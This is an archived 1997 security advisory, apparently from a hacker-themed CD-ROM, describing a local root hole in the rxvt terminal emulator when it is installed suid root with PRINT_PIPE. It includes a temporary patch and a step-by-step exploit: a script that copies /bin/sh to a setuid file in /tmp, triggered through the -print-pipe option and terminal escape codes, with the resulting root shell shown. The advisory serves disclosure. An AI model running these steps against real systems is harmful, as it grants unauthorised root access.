home *** CD-ROM | disk | FTP | other *** search
/ For Beginners & Professional Hackers / cd.iso / hackers / exploits / linux / linux-~9.asc < prev    next >
Encoding:
Text File  |  1997-03-11  |  2.3 KB  |  49 lines

  1.  
  2.  
  3.  
  4.  
  5.    There is a major security hole in rxvt, a terminal emulator for X, when it
  6.  
  7. is run on systems suid root, as is required on many configurations in order to
  8.  
  9. write to the utmp file.  It is obvious from the code that this program was
  10.  
  11. not written to be run suid root, its a pity that sysadmins that install the
  12.  
  13. compiled versions of this sort of code don't see the same warnings of 'run 
  14.  
  15. suid root at your own risk' that the people that put together a distribution
  16.  
  17. with it that way see in the makefile.
  18.  
  19.    The conditions that allow this particular hole to be exploited is rxvt
  20.  
  21. compiled with the PRINT_PIPE option, and is running suid root.  The program
  22.  
  23. sets the pipe to "lpr", without a pathname, but its even easier than that
  24.  
  25. to exploit because we can set the pipe to whatever we want with the -print-pipe
  26.  
  27. option on the rxvt command line.  Although the programs gives up its root 
  28.  
  29. privileges when forking to runn a shell or other command, the original program
  30.  
  31. continues running suid root the entire execution of the program.
  32.  
  33.    Because the popen() call runs as root, whatever program that pipe opens
  34.  
  35. will execute immediately as root.  In order to start the printer pipe, the
  36.  
  37. vt100 printer-on command is ESC[5i.  The pipe can then be closed with the
  38.  
  39. printer-off commad, ESC[4i.  Exploiting this is extremely easy.
  40.  
  41.  
  42.  
  43.                    Program: rxvt 
  44.  
  45. Affected Operating Systems: Linux Slackware 3.0, RedHat 2.1, others with
  46.  
  47.                             rxvt suid root (and compiled with PRINT_PIPE)
  48.  
  49.               Requirements: account on system, X server 
  50.  
  51.            Temporary Patch: chmod -s /usr/X11R6/bin/rxvt
  52.  
  53.        Security Compromise: root
  54.  
  55.                     Author: Dave M. (davem@cmu.edu)
  56.  
  57.                   Synopsis: rxvt fails to give up root privileges before
  58.  
  59.                             opening a pipe to a program that can be specified
  60.  
  61.                             by the user.
  62.  
  63.  
  64.  
  65.  
  66.  
  67. Exploit:
  68.  
  69. 1.  Set DISPLAY environment variable if necessary so you can use x clients.
  70.  
  71. 2.  In user shell:
  72.  
  73.     $ echo 'cp /bin/sh /tmp/rxsh;chmod 4755 /tmp/rxsh' > /tmp/rxbug
  74.  
  75.     $ chmod +x /tmp/rxbug
  76.  
  77.     $ rxvt -print-pipe /tmp/rxbug
  78.  
  79. 3.  In rxvt xclient:
  80.  
  81.     $ cat
  82.  
  83.       ESC[5i
  84.  
  85.       ESC[4i
  86.  
  87.     (The client will close at this point with a broken pipe)
  88.  
  89. 4.  $ /tmp/rxsh
  90.  
  91.     # whoami
  92.  
  93.     root
  94.  
  95.     #
  96.  
  97.